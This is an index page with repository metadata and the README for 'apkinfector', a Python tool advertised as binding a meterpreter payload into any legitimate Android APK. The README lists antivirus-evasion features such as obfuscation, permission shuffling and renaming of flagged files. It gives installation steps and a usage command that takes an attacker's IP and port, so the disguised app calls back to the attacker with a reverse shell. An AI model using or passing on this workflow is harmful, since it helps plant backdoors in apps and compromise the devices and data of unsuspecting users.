Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/PushpenderIndia/apkinfector
Advanced Android AV Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK
https://github.com/PushpenderIndia/apkinfector
antivirus-evasion apk-binder apk-embed apk-payload-generator apkinfector meterpreter python3
Last synced: 22 days ago
JSON representation
Advanced Android AV Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK
- Host: GitHub
- URL: https://github.com/PushpenderIndia/apkinfector
- Owner: PushpenderIndia
- Created: 2020-02-08T11:46:33.000Z (almost 5 years ago)
- Default Branch: master
- Last Pushed: 2024-05-15T17:48:43.000Z (7 months ago)
- Last Synced: 2024-08-05T17:45:11.351Z (4 months ago)
- Topics: antivirus-evasion, apk-binder, apk-embed, apk-payload-generator, apkinfector, meterpreter, python3
- Language: Python
- Size: 306 KB
- Stars: 278
- Watchers: 15
- Forks: 74
- Open Issues: 9
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - PushpenderIndia/apkinfector - Advanced Android AV Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK (Python)
README
APK Infector
This small python script can do really awesome work.
Advanced Android Antivirus Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK & can completely ofusticate the meterpreter payload with different techniques.## Features
- [x] Fully Automate Payload Creation Using MSFvenom
- [x] Creates a handler.rc File
- [x] Undetectable
- [x] Ofusticate Meterpreter APK
- [x] Binds/Embeds Meterpreter APK with Any Legitimate APK
- [x] Automatically Generates a Key which is used in signing
- [x] Capable to Sign APK Using **Jarsigner** or **APKsigner**
- [x] Zipalign the Signed APK
- [x] Shuffles the Permissions of Meterpreter APK for AV Evasion
- [x] Changes the default foldername and filenames which are being flagged by AV## Tools Overview
| Front View | Sample Feature |
| ------------ | ------------ |
|![Index](https://github.com/PushpenderIndia/apkinfector/blob/master/img/apkinfector%201.png)|![f](https://github.com/PushpenderIndia/apkinfector/blob/master/img/apkinfector%202.png)## Prerequisite
- [x] Python 3.X
- [x] APKsigner or Jarsigner [**One of them**]
- [x] APK Tool [**Latest**]
- [x] ZipAlign## Tested On
[![Kali)](https://www.google.com/s2/favicons?domain=https://www.kali.org/)](https://www.kali.org) **Kali Linux - 2019.4**## Installation & Usage
```
# Navigate to the /opt directory (optional)
$ cd /opt/# Clone this repository
$ git clone https://github.com/PushpenderIndia/apkinfector.git# Navigate to technowlogger folder
$ cd apkinfector# Installing dependencies
$ apt-get update && apt-get install apktool && apt-get install zipalign && apt-get install apksigner# Running the Tool for 1st Time
$ python3 infector.py --help# Usage Example
$ python3 infector.py --lhost 192.168.43.70 --lport 4444 --apk-name NEW_APK_NAME --normal-apk /root/Desktop/Path/TO/Legitemate_APK_File.apk```
## Available Arguments
* Optional Arguments| Short Hand | Full Hand | Description |
| ---------- | --------- | ----------- |
| -h | --help | show this help message and exit |* Required Arguments
| Short Hand | Full Hand | Description |
| ---------- | --------- | ----------- |
| | --lhost 192.168.44.33 | Attacker's IP Address |
| | --lport 4444 | Attacker's Port |
| -n NORMAL_APK | --normal-apk NORMAL_APK | Absolute Path of Legitimate APK File |
| | --apk-name APKNAME | APK Name (Anything You Want To Name) |## Contribute
* All Contributors are welcome, this repo needs contributors who will improve this tool to make it best.